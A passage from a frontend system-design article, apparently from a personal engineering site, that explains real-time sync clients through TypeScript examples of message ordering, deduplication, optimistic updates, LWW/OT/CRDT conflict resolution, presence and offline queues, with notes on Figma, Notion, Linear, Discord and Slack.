// Per-sender message ordering
type SenderId = string

class OrderedMessageHandler {
  private lastSeq = new Map<SenderId, number>()
  private pending = new Map<SenderId, Map<number, unknown>>()

  handle(senderId: SenderId, seq: number, payload: unknown): void {
    const expected = (this.lastSeq.get(senderId) ?? 0) + 1

    if (seq === expected) {
      // In order - process and check pending
      this.process(payload)
      this.lastSeq.set(senderId, seq)
      this.processPending(senderId)
    } else if (seq > expected) {
      // Out of order - buffer
      const senderPending = this.pending.get(senderId) ?? new Map()
      senderPending.set(seq, payload)
      this.pending.set(senderId, senderPending)
    }
    // seq < expected means duplicate - ignore
  }

  private processPending(senderId: SenderId): void {
    const senderPending = this.pending.get(senderId)
    if (!senderPending) return

    let next = (this.lastSeq.get(senderId) ?? 0) + 1
    while (senderPending.has(next)) {
      this.process(senderPending.get(next))
      senderPending.delete(next)
      this.lastSeq.set(senderId, next)
      next++
    }
  }

  private process(payload: unknown): void {
    // Application-specific processing
  }
}
```

### Deduplication

Retries and reconnection can deliver the same message multiple times. Idempotency keys prevent duplicate processing:

```typescript title="deduplication.ts" collapse={1-3, 25-35}
// Time-bounded deduplication
const DEDUP_WINDOW_MS = 5 * 60 * 1000 // 5 minutes

class Deduplicator {
  private processed = new Map<string, number>() // id -> timestamp

  isDuplicate(messageId: string): boolean {
    this.cleanup()

    if (this.processed.has(messageId)) {
      return true
    }

    this.processed.set(messageId, Date.now())
    return false
  }

  private cleanup(): void {
    const cutoff = Date.now() - DEDUP_WINDOW_MS
    for (const [id, ts] of this.processed) {
      if (ts < cutoff) {
        this.processed.delete(id)
      }
    }
  }
}

// Usage
const dedup = new Deduplicator()

function handleMessage(msg: { id: string; payload: unknown }): void {
  if (dedup.isDuplicate(msg.id)) {
    return // Already processed
  }
  processPayload(msg.payload)
}
```

**Trade-offs:**

| Window Size | Memory | Risk                        |
| ----------- | ------ | --------------------------- |
| 1 minute    | Low    | May miss slow retries       |
| 5 minutes   | Medium | Covers most retry scenarios |
| 1 hour      | High   | Handles extended outages    |

## Optimistic Updates

Optimistic updates show changes immediately while the server processes asynchronously. If the server rejects, rollback to previous state.

### Pattern Implementation

```typescript title="optimistic-update.ts" collapse={1-8, 45-60}
// Optimistic update with rollback
type Todo = { id: string; text: string; completed: boolean }
type TodoStore = {
  todos: Todo[]
  pendingUpdates: Map<string, { previous: Todo; current: Todo }>
}

const store: TodoStore = { todos: [], pendingUpdates: new Map() }

async function toggleTodo(id: string): Promise<void> {
  const todo = store.todos.find((t) => t.id === id)
  if (!todo) return

  // 1. Save previous state
  const previous = { ...todo }

  // 2. Apply optimistic update
  const updated = { ...todo, completed: !todo.completed }
  store.todos = store.todos.map((t) => (t.id === id ? updated : t))
  store.pendingUpdates.set(id, { previous, current: updated })

  // 3. Notify UI (immediate feedback)
  renderTodos()

  try {
    // 4. Send to server
    await fetch(`/api/todos/${id}`, {
      method: "PATCH",
      body: JSON.stringify({ completed: updated.completed }),
      headers: { "Idempotency-Key": `toggle-${id}-${Date.now()}` },
    })

    // 5. Success - remove from pending
    store.pendingUpdates.delete(id)
  } catch (error) {
    // 6. Failure - rollback
    store.todos = store.todos.map((t) => (t.id === id ? store.pendingUpdates.get(id)!.previous : t))
    store.pendingUpdates.delete(id)
    renderTodos()
    showError("Failed to update todo")
  }
}

// TanStack Query equivalent
const mutation = useMutation({
  mutationFn: (todo: Todo) => updateTodo(todo),
  onMutate: async (newTodo) => {
    await queryClient.cancelQueries({ queryKey: ["todos"] })
    const previous = queryClient.getQueryData(["todos"])
    queryClient.setQueryData(["todos"], (old: Todo[]) => old.map((t) => (t.id === newTodo.id ? newTodo : t)))
    return { previous }
  },
  onError: (err, newTodo, context) => {
    queryClient.setQueryData(["todos"], context?.previous)
  },
  onSettled: () => {
    queryClient.invalidateQueries({ queryKey: ["todos"] })
  },
})
```

### When Optimistic Updates Break

| Scenario           | Problem                      | Mitigation                                     |
| ------------------ | ---------------------------- | ---------------------------------------------- |
| Concurrent edits   | Two users edit same item     | Server conflict resolution; merge or reject    |
| Validation failure | Server rejects invalid data  | Client-side validation before optimistic apply |
| Network partition  | User thinks action succeeded | Queue mutations; replay on reconnect           |
| Race conditions    | Stale read before write      | Version vectors; conditional updates           |

**React 19 useOptimistic:**

```typescript title="use-optimistic.tsx" collapse={1-4, 20-25}
// React 19 built-in optimistic updates
import { useOptimistic } from 'react';

function TodoItem({ todo }: { todo: Todo }) {
  const [optimisticTodo, setOptimisticTodo] = useOptimistic(
    todo,
    (current, completed: boolean) => ({ ...current, completed })
  );

  async function toggle() {
    setOptimisticTodo(!optimisticTodo.completed);
    await updateTodo({ ...todo, completed: !todo.completed });
  }

  return (
    <li style={{ opacity: optimisticTodo.completed !== todo.completed ? 0.5 : 1 }}>
      <input type="checkbox" checked={optimisticTodo.completed} onChange={toggle} />
      {todo.text}
    </li>
  );
}
```

## Conflict Resolution

When multiple clients edit the same data, conflicts arise. The resolution strategy depends on data shape and acceptable complexity.

### Last-Write-Wins (LWW)

Each write carries a timestamp; the latest timestamp wins. Simple but loses data from concurrent edits.

**Used by:** Cassandra, DynamoDB, Figma (at property level)

```typescript title="lww-register.ts"
type LWWRegister<T> = {
  value: T
  timestamp: number
  clientId: string
}

function merge<T>(local: LWWRegister<T>, remote: LWWRegister<T>): LWWRegister<T> {
  if (remote.timestamp > local.timestamp) {
    return remote
  }
  if (remote.timestamp === local.timestamp) {
    // Tiebreaker: lexicographic client ID comparison
    return remote.clientId > local.clientId ? remote : local
  }
  return local
}
```

**Figma's approach:** LWW at property level, not object level. Two users editing different properties of the same shape (e.g., color vs. position) both succeed. Only same-property edits conflict.

**Design reasoning:** Figma rejected Operational Transform as "overkill"—their data model is a tree of objects with properties, not a linear text document. Property-level LWW is simpler and sufficient for design files.

**Clock skew problem:** LWW assumes synchronized clocks. NTP skew of 0.5+ seconds can cause "earlier" writes to win. Mitigations:

- Use server timestamps (single source of truth)
- Hybrid logical clocks (HLC) combining physical time with logical counters
- Version vectors for causal ordering

### Operational Transformation (OT)

OT transforms operations based on concurrent operations to preserve user intent. Designed for linear sequences (text documents).

**Used by:** Google Docs, Microsoft Office Online

**Example:**

```
Initial: "abc"
User A: Insert "X" at position 2 → "abXc"
User B: Delete position 1 → "ac" (concurrent with A)

Without transformation:
  Apply A's insert to B's result: "aXc" (wrong - X at wrong position)

With transformation:
  Transform A's operation: Insert at 2 becomes Insert at 1 (because B deleted before position 2)
  Result: "aXc" becomes correct
```

```typescript title="ot-text.ts" collapse={1-10, 40-55}
// Simplified OT for text
type Insert = { type: "insert"; pos: number; char: string }
type Delete = { type: "delete"; pos: number }
type Op = Insert | Delete

function transform(op1: Op, op2: Op): Op {
  // Transform op1 assuming op2 has been applied
  if (op1.type === "insert" && op2.type === "insert") {
    if (op1.pos <= op2.pos) {
      return op1 // op1 is before op2, no change
    }
    return { ...op1, pos: op1.pos + 1 } // Shift right
  }

  if (op1.type === "insert" && op2.type === "delete") {
    if (op1.pos <= op2.pos) {
      return op1
    }
    return { ...op1, pos: op1.pos - 1 } // Shift left
  }

  if (op1.type === "delete" && op2.type === "insert") {
    if (op1.pos < op2.pos) {
      return op1
    }
    return { ...op1, pos: op1.pos + 1 }
  }

  if (op1.type === "delete" && op2.type === "delete") {
    if (op1.pos < op2.pos) {
      return op1
    }
    if (op1.pos > op2.pos) {
      return { ...op1, pos: op1.pos - 1 }
    }
    // Same position - op1 is a no-op (already deleted)
    return { type: "insert", pos: -1, char: "" } // No-op sentinel
  }

  return op1
}

// OT requires central server for operation ordering
class OTClient {
  private pending: Op[] = []
  private serverVersion = 0

  applyLocal(op: Op): void {
    this.pending.push(op)
    this.sendToServer(op, this.serverVersion)
  }

  onServerAck(ackVersion: number): void {
    this.serverVersion = ackVersion
    this.pending.shift() // Remove acknowledged operation
  }

  onServerOp(op: Op): void {
    // Transform all pending operations against server operation
    for (let i = 0; i < this.pending.length; i++) {
      this.pending[i] = transform(this.pending[i], op)
    }
    this.applyToDocument(op)
    this.serverVersion++
  }
}
```

**Trade-offs:**

| Aspect      | Advantage                   | Disadvantage                                  |
| ----------- | --------------------------- | --------------------------------------------- |
| Consistency | Strong (immediate)          | Requires central server                       |
| Complexity  | Intent-preserving           | O(n²) worst case; hard to implement correctly |
| Latency     | Low (operations, not state) | Server bottleneck under load                  |

### CRDTs (Conflict-Free Replicated Data Types)

CRDTs are data structures mathematically guaranteed to converge. Operations commute—order doesn't matter.

**Used by:** Notion (offline pages), Linear (issue metadata), Figma (for specific features), Automerge, Yjs

**Common CRDT types:**

| Type         | Use Case            | Example                 |
| ------------ | ------------------- | ----------------------- |
| G-Counter    | Grow-only counter   | Page view counts        |
| PN-Counter   | Increment/decrement | Inventory stock         |
| LWW-Register | Single value        | User status             |
| OR-Set       | Add/remove set      | Tags, members           |
| RGA/LSEQ     | Ordered text        | Collaborative documents |

```typescript title="g-counter.ts" collapse={1-3}
// G-Counter CRDT
type NodeId = string

class GCounter {
  private counts = new Map<NodeId, number>()

  constructor(private nodeId: NodeId) {}

  increment(): void {
    const current = this.counts.get(this.nodeId) ?? 0
    this.counts.set(this.nodeId, current + 1)
  }

  value(): number {
    let sum = 0
    for (const count of this.counts.values()) {
      sum += count
    }
    return sum
  }

  // Merge is commutative, associative, idempotent
  merge(other: GCounter): void {
    for (const [nodeId, count] of other.counts) {
      const current = this.counts.get(nodeId) ?? 0
      this.counts.set(nodeId, Math.max(current, count))
    }
  }

  serialize(): Record<NodeId, number> {
    return Object.fromEntries(this.counts)
  }
}
```

**Tombstone problem:** Deleted items leave tombstones (metadata indicating deletion) that accumulate forever. Mitigation:

- Garbage collection with consensus (complex in peer-to-peer)
- Time-based tombstone expiry (risks resurrection of deleted items)
- Periodic state snapshots that exclude tombstones

**Design reasoning:** CRDTs trade memory for simplicity. No conflict resolution logic needed—the math guarantees convergence. This makes them ideal for offline-first apps where merge timing is unpredictable.

### Decision Matrix

| Factor                  | LWW                   | OT             | CRDT               |
| ----------------------- | --------------------- | -------------- | ------------------ |
| Complexity              | Low                   | High           | Medium             |
| Offline support         | Poor                  | None           | Excellent          |
| Memory overhead         | Low                   | Low            | High (tombstones)  |
| Central server required | No                    | Yes            | No                 |
| Best for                | Key-value, properties | Text documents | Offline-first, P2P |

## State Reconciliation

When client and server state diverge, reconciliation brings them back in sync without losing pending local changes.

### Client-Side Prediction with Server Reconciliation

Originally from game development, this pattern applies local changes immediately but treats server state as authoritative.

```typescript title="state-reconciliation.ts" collapse={1-10, 50-65}
// State reconciliation with pending input replay
type Input = { id: string; action: string; params: unknown }
type State = {
  /* application state */
}

class ReconciliationEngine {
  private pendingInputs: Input[] = []
  private localState: State
  private lastAckedInputId: string | null = null

  applyInput(input: Input): void {
    // 1. Apply locally for immediate feedback
    this.localState = this.applyToState(this.localState, input)

    // 2. Track as pending
    this.pendingInputs.push(input)

    // 3. Send to server
    this.sendToServer(input)
  }

  onServerUpdate(serverState: State, lastAckedId: string): void {
    // 1. Remove acknowledged inputs
    const ackIndex = this.pendingInputs.findIndex((i) => i.id === lastAckedId)
    if (ackIndex !== -1) {
      this.pendingInputs = this.pendingInputs.slice(ackIndex + 1)
    }

    // 2. Start from authoritative server state
    let reconciledState = serverState

    // 3. Re-apply pending (unacknowledged) inputs
    for (const input of this.pendingInputs) {
      reconciledState = this.applyToState(reconciledState, input)
    }

    // 4. Update local state
    this.localState = reconciledState

    // 5. Re-render
    this.render()
  }

  private applyToState(state: State, input: Input): State {
    // Application-specific state transition
    return state
  }

  private sendToServer(input: Input): void {
    // WebSocket send
  }

  private render(): void {
    // Update UI
  }
}
```

**Why this works:** The server is always right. Local state is a prediction that will be corrected. By re-applying pending inputs on top of server state, we maintain responsiveness while converging to truth.

**Smooth vs. snap reconciliation:**

- **Snap:** Immediately apply server correction (can cause visual jitter)
- **Smooth:** Interpolate toward server state over multiple frames (better UX for games/animations, more complex)

### Full State Sync

For simpler applications, fetch full state on reconnect and discard local state:

```typescript title="full-sync.ts" collapse={1-4, 20-30}
// Simple full state sync on reconnect
async function reconnect(): Promise<void> {
  const state = await fetch("/api/state").then((r) => r.json())
  store.setState(state)
  render()
}

// With local mutation queue
async function reconnectWithQueue(): Promise<void> {
  // 1. Fetch server state
  const serverState = await fetch("/api/state").then((r) => r.json())

  // 2. Replay queued mutations
  for (const mutation of localQueue) {
    try {
      await fetch("/api/mutate", {
        method: "POST",
        body: JSON.stringify(mutation),
      })
    } catch {
      // Handle permanent failure
    }
  }

  // 3. Fetch final state (includes replayed mutations)
  const finalState = await fetch("/api/state").then((r) => r.json())
  store.setState(finalState)
  localQueue.clear()
  render()
}
```

## Presence

Presence tracks ephemeral user state: who's online, cursor positions, typing indicators.

### Design Considerations

| Aspect           | Consideration                                                  |
| ---------------- | -------------------------------------------------------------- |
| Persistence      | Not needed—presence is ephemeral                               |
| Update frequency | Cursors: 20–60 Hz; typing: on change; online: 15–30s heartbeat |
| Bandwidth        | Throttle cursor updates; batch presence changes                |
| Cleanup          | Automatic on disconnect; timeout for crashed clients           |

### Implementation Patterns

**Heartbeat-based online status:**

```typescript title="presence-heartbeat.ts" collapse={1-5, 30-40}
// Heartbeat presence
const HEARTBEAT_INTERVAL = 15000 // 15 seconds
const TIMEOUT_THRESHOLD = 45000 // 3 missed heartbeats

class PresenceManager {
  private users = new Map<string, { lastSeen: number; metadata: unknown }>()
  private heartbeatTimer: number | null = null

  start(userId: string, metadata: unknown): void {
    this.heartbeatTimer = window.setInterval(() => {
      this.ws.send(
        JSON.stringify({
          type: "presence",
          userId,
          metadata,
          timestamp: Date.now(),
        }),
      )
    }, HEARTBEAT_INTERVAL)
  }

  onPresenceUpdate(userId: string, metadata: unknown): void {
    this.users.set(userId, { lastSeen: Date.now(), metadata })
    this.pruneStale()
    this.render()
  }

  private pruneStale(): void {
    const now = Date.now()
    for (const [userId, data] of this.users) {
      if (now - data.lastSeen > TIMEOUT_THRESHOLD) {
        this.users.delete(userId)
      }
    }
  }

  stop(): void {
    if (this.heartbeatTimer) clearInterval(this.heartbeatTimer)
  }

  getOnlineUsers(): string[] {
    return Array.from(this.users.keys())
  }
}
```

**Cursor sharing:**

```typescript title="cursor-presence.ts" collapse={1-8, 35-50}
// Throttled cursor sharing
type CursorPosition = { x: number; y: number; userId: string }

class CursorPresence {
  private cursors = new Map<string, CursorPosition>()
  private throttledSend: (pos: CursorPosition) => void

  constructor(
    private ws: WebSocket,
    private userId: string,
  ) {
    // Throttle to 30 updates per second max
    this.throttledSend = throttle((pos: CursorPosition) => {
      ws.send(JSON.stringify({ type: "cursor", ...pos }))
    }, 33)
  }

  onLocalMove(x: number, y: number): void {
    this.throttledSend({ x, y, userId: this.userId })
  }

  onRemoteCursor(cursor: CursorPosition): void {
    this.cursors.set(cursor.userId, cursor)
    this.renderCursors()
  }

  onUserLeave(userId: string): void {
    this.cursors.delete(userId)
    this.renderCursors()
  }

  private renderCursors(): void {
    // Render remote cursors with user labels
  }
}

function throttle<T extends (...args: unknown[]) => void>(fn: T, ms: number): T {
  let lastCall = 0
  return ((...args: Parameters<T>) => {
    const now = Date.now()
    if (now - lastCall >= ms) {
      lastCall = now
      fn(...args)
    }
  }) as T
}
```

### Phoenix Presence (CRDT-based)

Phoenix Channels uses a CRDT-based presence system that automatically syncs across cluster nodes:

- Each presence update is a CRDT merge operation
- No single point of failure
- Automatic cleanup when connections close
- Built-in conflict resolution for presence metadata

**Design reasoning:** Presence is inherently distributed (users connect to different servers). CRDT semantics guarantee all nodes converge to the same view without coordination.

## Real-World Implementations

### Figma: Multiplayer Design

**Scale:** Millions of concurrent editors

**Architecture:**

- Client/server with WebSocket
- Multiplayer service is authoritative
- File state held in-memory for speed
- Checkpointing to DynamoDB every 30–60 seconds
- Write-ahead log prevents data loss between checkpoints

**Conflict resolution:** Property-level LWW. Two simultaneous changes to different properties of the same object both succeed. Only same-property conflicts use timestamp comparison.

**Why not OT?** Figma's data model is a tree of objects with properties, not linear text. OT is optimized for character-level text operations. Property-level LWW is simpler and sufficient.

**Fractional indexing for ordered sequences:** Instead of integer indices, objects have arbitrary-precision fractional positions. Insert between A (0.3) and B (0.4) by assigning 0.35. No reindexing required.

**Source:** [Figma Engineering Blog](https://www.figma.com/blog/how-figmas-multiplayer-technology-works/)

### Notion: Offline-First

**Challenge:** Block-based architecture where pages reference blocks that reference other blocks. Opening a page requires all referenced blocks.

**Architecture:**

- SQLite for local caching (pre-existed for performance)
- CRDTs for conflict resolution on offline-marked pages
- Each client tracks `lastDownloadedTimestamp` per offline page
- On reconnect: compare with server's `lastUpdatedTime`, fetch only newer pages

**Design decision:** If a page might be missing data, Notion refuses to show it at all rather than showing partial content. Missing data is worse UX than "unavailable offline."

**Source:** [Notion Engineering Blog](https://www.notion.com/blog/how-we-made-notion-available-offline)

### Linear: Local-First Sync

**Architecture:**

- Loads all issues into memory/IndexedDB on startup
- Search is instant (0ms)—just filtering a JavaScript array
- Hybrid: OT for issue descriptions (text), CRDTs for metadata (status, assignee)

**Why it works:** Issue trackers have bounded data per workspace (unlike documents). Full client-side data enables instant interactions.

**Competitive advantage:** "Snappiness" is Linear's primary differentiator from Jira. Local-first makes every interaction feel instant.

**Source:** [Linear Engineering Blog](https://linear.app/now/scaling-the-linear-sync-engine)

### Discord: Message Delivery at Scale

**Scale:** Trillions of messages, millions of concurrent connections

**Architecture:**

- Gateway infrastructure in Elixir (BEAM VM for concurrency)
- Single Elixir process per guild (server) as central routing point
- Separate process for each connected user's client
- Storage evolution: MongoDB → Cassandra (2017) → ScyllaDB (2022)

**Message fanout:**

1. User sends message
2. Guild process receives it
3. Guild process tracks all member sessions
4. Fans out to all connected user client processes
5. Client processes forward over WebSocket to devices

**Source:** [Discord Engineering Blog](https://discord.com/blog/how-discord-stores-trillions-of-messages)

### Slack: Real-Time at Enterprise Scale

**Scale:** Tens of millions of channels per host, 500ms message delivery worldwide

**Architecture:**

- **Channel Servers (CS):** Stateful, in-memory servers holding channel history (~16M channels per host)
- **Gateway Servers (GS):** Maintain WebSocket connections, deployed across regions
- **CHARMs:** Consistent hash ring managers ensuring CS replacement within 20 seconds

**Reliability guarantees:**

- Messages have strong guarantees around arrival
- Ordered and delivered exactly once
- All messages are persisted
- Idempotency keys prevent duplicates
- Kafka for durable queuing + Redis for fast in-flight job data

**Source:** [Slack Engineering Blog](https://slack.engineering/real-time-messaging/)

## Browser Constraints Deep Dive

### Main Thread Budget

The main thread has 16ms per frame for 60fps. Real-time sync operations compete with rendering:

| Operation              | Typical Cost | Mitigation                        |
| ---------------------- | ------------ | --------------------------------- |
| JSON.parse (1KB)       | 0.1–0.5ms    | Stream parsing for large payloads |
| JSON.parse (100KB)     | 5–50ms       | Web Worker                        |
| IndexedDB write        | 1–10ms       | Batch writes; requestIdleCallback |
| DOM update (100 items) | 5–20ms       | Virtual lists; batched updates    |

**Offload to Web Workers:**

```typescript title="worker-parse.ts"
// Main thread
const worker = new Worker("sync-worker.js")

worker.postMessage({ type: "parse", data: rawJson })

worker.onmessage = (e) => {
  // Parsed data ready
  updateState(e.data)
}

// sync-worker.js
self.onmessage = (e) => {
  if (e.data.type === "parse") {
    const parsed = JSON.parse(e.data.data)
    self.postMessage(parsed)
  }
}
```

### Memory Management

| Browser | WebSocket buffer limit | IndexedDB quota |
| ------- | ---------------------- | --------------- |
| Chrome  | ~1GB before crash      | 50% of disk     |
| Firefox | ~500MB                 | 50% of disk     |
| Safari  | ~256MB                 | 1GB             |

**WebSocket backpressure (experimental):**

```typescript title="websocket-stream.ts"
// Chrome 124+ WebSocketStream with backpressure
const ws = new WebSocketStream("wss://example.com")
const { readable, writable } = await ws.opened

const reader = readable.getReader()
while (true) {
  const { value, done } = await reader.read()
  if (done) break

  // Backpressure: read() naturally pauses when we can't keep up
  await processMessage(value)
}
```

### Storage Quotas

```typescript title="quota-handling.ts" collapse={1-5}
// Handle quota exceeded gracefully
async function cacheData(key: string, value: unknown): Promise<void> {
  const db = await openDB("cache", 1)

  try {
    await db.put("data", { key, value, timestamp: Date.now() })
  } catch (e) {
    if (e.name === "QuotaExceededError") {
      // Evict oldest entries
      const all = await db.getAll("data")
      all.sort((a, b) => a.timestamp - b.timestamp)

      // Delete oldest 20%
      const toDelete = all.slice(0, Math.ceil(all.length * 0.2))
      for (const item of toDelete) {
        await db.delete("data", item.key)
      }

      // Retry
      await db.put("data", { key, value, timestamp: Date.now() })
    } else {
      throw e
    }
  }
}
```

## Mobile and Offline Considerations

### Battery Optimization

| Strategy           | Impact | Implementation                        |
| ------------------ | ------ | ------------------------------------- |
| Batch updates      | High   | Buffer messages for 1–5s before send  |
| Adaptive polling   | Medium | Increase interval on cellular         |
| Binary protocols   | Medium | MessagePack, Protocol Buffers         |
| Sync on Wi-Fi only | High   | Defer large sync until Wi-Fi detected |

```typescript title="network-aware-sync.ts" collapse={1-10, 35-45}
// Network-aware sync strategy
type ConnectionType = "wifi" | "cellular" | "none"

function getConnectionType(): ConnectionType {
  const connection = (navigator as unknown as { connection?: { type: string } }).connection
  if (!connection) return "wifi" // Assume best
  return connection.type === "wifi" ? "wifi" : "cellular"
}

class NetworkAwareSync {
  private batchBuffer: unknown[] = []
  private flushTimer: number | null = null

  send(message: unknown): void {
    this.batchBuffer.push(message)

    const delay = getConnectionType() === "cellular" ? 2000 : 100

    if (!this.flushTimer) {
      this.flushTimer = window.setTimeout(() => {
        this.flush()
      }, delay)
    }
  }

  private flush(): void {
    if (this.batchBuffer.length === 0) return

    this.ws.send(
      JSON.stringify({
        type: "batch",
        messages: this.batchBuffer,
      }),
    )

    this.batchBuffer = []
    this.flushTimer = null
  }
}

// Detect network type changes
navigator.connection?.addEventListener("change", () => {
  adjustSyncStrategy(getConnectionType())
})
```

### Offline Queue

```typescript title="offline-queue.ts" collapse={1-8, 45-60}
// Persistent offline mutation queue
import { openDB, IDBPDatabase } from "idb"

type Mutation = {
  id: string
  action: string
  payload: unknown
  timestamp: number
}

class OfflineQueue {
  private db: IDBPDatabase | null = null

  async init(): Promise<void> {
    this.db = await openDB("offline-queue", 1, {
      upgrade(db) {
        db.createObjectStore("mutations", { keyPath: "id" })
      },
    })
  }

  async enqueue(mutation: Omit<Mutation, "id" | "timestamp">): Promise<void> {
    const item: Mutation = {
      ...mutation,
      id: crypto.randomUUID(),
      timestamp: Date.now(),
    }
    await this.db!.add("mutations", item)
  }

  async flush(): Promise<void> {
    const mutations = await this.db!.getAll("mutations")
    mutations.sort((a, b) => a.timestamp - b.timestamp)

    for (const mutation of mutations) {
      try {
        await this.sendToServer(mutation)
        await this.db!.delete("mutations", mutation.id)
      } catch (e) {
        // Stop on first failure; retry later
        break
      }
    }
  }

  private async sendToServer(mutation: Mutation): Promise<void> {
    const response = await fetch("/api/mutate", {
      method: "POST",
      headers: {
        "Content-Type": "application/json",
        "Idempotency-Key": mutation.id,
      },
      body: JSON.stringify(mutation),
    })

    if (!response.ok) {
      throw new Error(`Server error: ${response.status}`)
    }
  }

  async getPendingCount(): Promise<number> {
    return (await this.db!.getAll("mutations")).length
  }
}

// Usage with online/offline detection
const queue = new OfflineQueue()
await queue.init()

window.addEventListener("online", () => queue.flush())
```

### Background Sync (Service Worker)

```typescript title="background-sync.ts" collapse={1-5}
// Service Worker background sync
self.addEventListener("sync", (event: SyncEvent) => {
  if (event.tag === "sync-mutations") {
    event.waitUntil(syncMutations())
  }
})

async function syncMutations(): Promise<void> {
  const db = await openDB("offline-queue", 1)
  const mutations = await db.getAll("mutations")

  for (const mutation of mutations) {
    try {
      await fetch("/api/mutate", {
        method: "POST",
        headers: {
          "Content-Type": "application/json",
          "Idempotency-Key": mutation.id,
        },
        body: JSON.stringify(mutation),
      })
      await db.delete("mutations", mutation.id)
    } catch {
      // Will retry on next sync event
      return
    }
  }
}

// Register from main thread
navigator.serviceWorker.ready.then((registration) => {
  return registration.sync.register("sync-mutations")
})
```

## Failure Modes and Edge Cases

### Common Failure Scenarios

| Scenario           | Symptom                     | Detection              | Recovery                           |
| ------------------ | --------------------------- | ---------------------- | ---------------------------------- |
| Network partition  | Messages queued, no acks    | Heartbeat timeout      | Reconnect with sequence recovery   |
| Server restart     | WebSocket close event       | `close` event handler  | Exponential backoff reconnect      |
| Message loss       | Missing sequence numbers    | Gap detection          | Request replay from server         |
| Duplicate delivery | Same message twice          | Idempotency key check  | Skip processing                    |
| Clock skew         | LWW picks wrong winner      | N/A (hard to detect)   | Use server timestamps or HLC       |
| Thundering herd    | Server overload on recovery | Server-side monitoring | Jittered backoff                   |
| Split brain        | Divergent state             | Consensus protocol     | CRDT convergence or manual resolve |

### Testing Checklist

- [ ] Rapid connect/disconnect cycles (10x in 1 second)
- [ ] Slow network simulation (3G, 500ms latency)
- [ ] Large payloads (10MB+ messages)
- [ ] Many concurrent tabs (hit connection limits)
- [ ] Device sleep/wake cycles
- [ ] Offline for extended periods (1+ hours)
- [ ] Server restart during active session
- [ ] Network type change (Wi-Fi to cellular)
- [ ] Clock adjustment during session

## Conclusion

Real-time sync client architecture balances three tensions: latency vs. consistency, offline support vs. conflict complexity, and simplicity vs. reliability. The right approach depends on your data model and user expectations:

- **Property-level LWW** (Figma) for structured objects where concurrent edits to different properties should both succeed
- **OT** (Google Docs) for text documents requiring strong consistency and intent preservation
- **CRDTs** (Notion, Linear) for offline-first scenarios where eventual convergence is acceptable
- **Full state sync** for simpler applications where complexity isn't justified

Connection management is non-negotiable: exponential backoff with jitter, heartbeats for health detection, and sequence-based recovery for message continuity. Optimistic updates with rollback provide the instant feedback users expect while maintaining server authority.

The production systems that get this right—Figma, Linear, Discord, Slack—invest heavily in the sync layer because it defines the core user experience. A 100ms delay feels instant; a 500ms delay feels sluggish; anything over 1s feels broken.

## Appendix

### Prerequisites

- WebSocket API fundamentals
- Async JavaScript (Promises, async/await)
- State management patterns
- Basic distributed systems concepts (consensus, eventual consistency)

### Terminology

| Term                  | Definition                                                                                    |
| --------------------- | --------------------------------------------------------------------------------------------- |
| **CRDT**              | Conflict-Free Replicated Data Type—data structures that merge without coordination            |
| **OT**                | Operational Transformation—algorithm that transforms concurrent operations to preserve intent |
| **LWW**               | Last-Write-Wins—conflict resolution using timestamps                                          |
| **Optimistic update** | Applying changes locally before server confirmation                                           |
| **Reconciliation**    | Process of merging divergent client and server state                                          |
| **Presence**          | Ephemeral user state (online status, cursor position)                                         |
| **Heartbeat**         | Periodic signal to detect connection health                                                   |
| **Tombstone**         | Marker indicating deleted item (in CRDTs)                                                     |
| **Vector clock**      | Logical timestamp tracking causal ordering across nodes                                       |
| **Idempotency**       | Property where repeated operations have same effect as single execution                       |

### Summary

- **Transport selection:** WebSocket for bidirectional low-latency; SSE for server-push simplicity; polling as fallback
- **Connection resilience:** Exponential backoff with jitter prevents thundering herd; heartbeats detect stale connections
- **Message handling:** Sequence numbers for ordering; idempotency keys for deduplication
- **Optimistic updates:** Apply locally, rollback on server rejection—users expect instant feedback
- **Conflict resolution:** LWW for simple cases; OT for text; CRDTs for offline-first
- **State reconciliation:** Server is authoritative; re-apply pending local mutations on top of server state
- **Presence:** Ephemeral, doesn't need persistence; throttle high-frequency updates (cursors)

### References

**Specifications:**

- [RFC 6455: The WebSocket Protocol](https://www.rfc-editor.org/rfc/rfc6455.html) - Authoritative WebSocket specification
- [RFC 7692: Compression Extensions for WebSocket](https://www.rfc-editor.org/rfc/rfc7692.html) - Per-message DEFLATE compression
- [RFC 8441: Bootstrapping WebSockets with HTTP/2](https://www.rfc-editor.org/rfc/rfc8441.html) - WebSocket multiplexing over HTTP/2
- [WHATWG HTML Living Standard: Server-sent events](https://html.spec.whatwg.org/multipage/server-sent-events.html) - SSE specification

**Official Documentation:**

- [MDN: WebSocket API](https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API) - Browser WebSocket implementation
- [MDN: Server-Sent Events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events) - SSE usage guide
- [MDN: IndexedDB](https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API) - Client-side storage for offline support

**Production Engineering Blogs:**

- [Figma: How multiplayer technology works](https://www.figma.com/blog/how-figmas-multiplayer-technology-works/) - Property-level LWW, fractional indexing
- [Figma: Making multiplayer more reliable](https://www.figma.com/blog/making-multiplayer-more-reliable/) - Checkpointing, write-ahead log
- [Notion: How we made Notion available offline](https://www.notion.com/blog/how-we-made-notion-available-offline) - CRDT-based offline sync
- [Linear: Scaling the sync engine](https://linear.app/now/scaling-the-linear-sync-engine) - Local-first architecture
- [Discord: How Discord stores trillions of messages](https://discord.com/blog/how-discord-stores-trillions-of-messages) - Gateway architecture, storage evolution
- [Slack: Real-time messaging](https://slack.engineering/real-time-messaging/) - Channel servers, consistency guarantees

**Research and Theory:**

- [CRDT.tech](https://crdt.tech/) - Comprehensive CRDT resources
- [Martin Kleppmann: CRDTs and the Quest for Distributed Consistency](https://www.youtube.com/watch?v=B5NULPSiOGw) - CRDT fundamentals
- [Gabriel Gambetta: Client-Side Prediction and Server Reconciliation](https://www.gabrielgambetta.com/client-side-prediction-server-reconciliation.html) - Game networking patterns applicable to real-time apps

---

## Multi-Tenant Pluggable Widget Framework

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/frontend-system-design/widget-framework
**Category:** System Design / Frontend System Design
**Description:** Designing a frontend framework that hosts third-party extensions—dynamically loaded at runtime based on tenant configurations. This article covers the architectural decisions behind systems like VS Code extensions, Figma plugins, and Shopify embedded apps: module loading strategies (Webpack Module Federation vs SystemJS), sandboxing techniques (iframe, Shadow DOM, Web Workers, WASM), manifest and registry design, the host SDK API contract, and multi-tenant orchestration that resolves widget implementations per user or organization.

# Multi-Tenant Pluggable Widget Framework

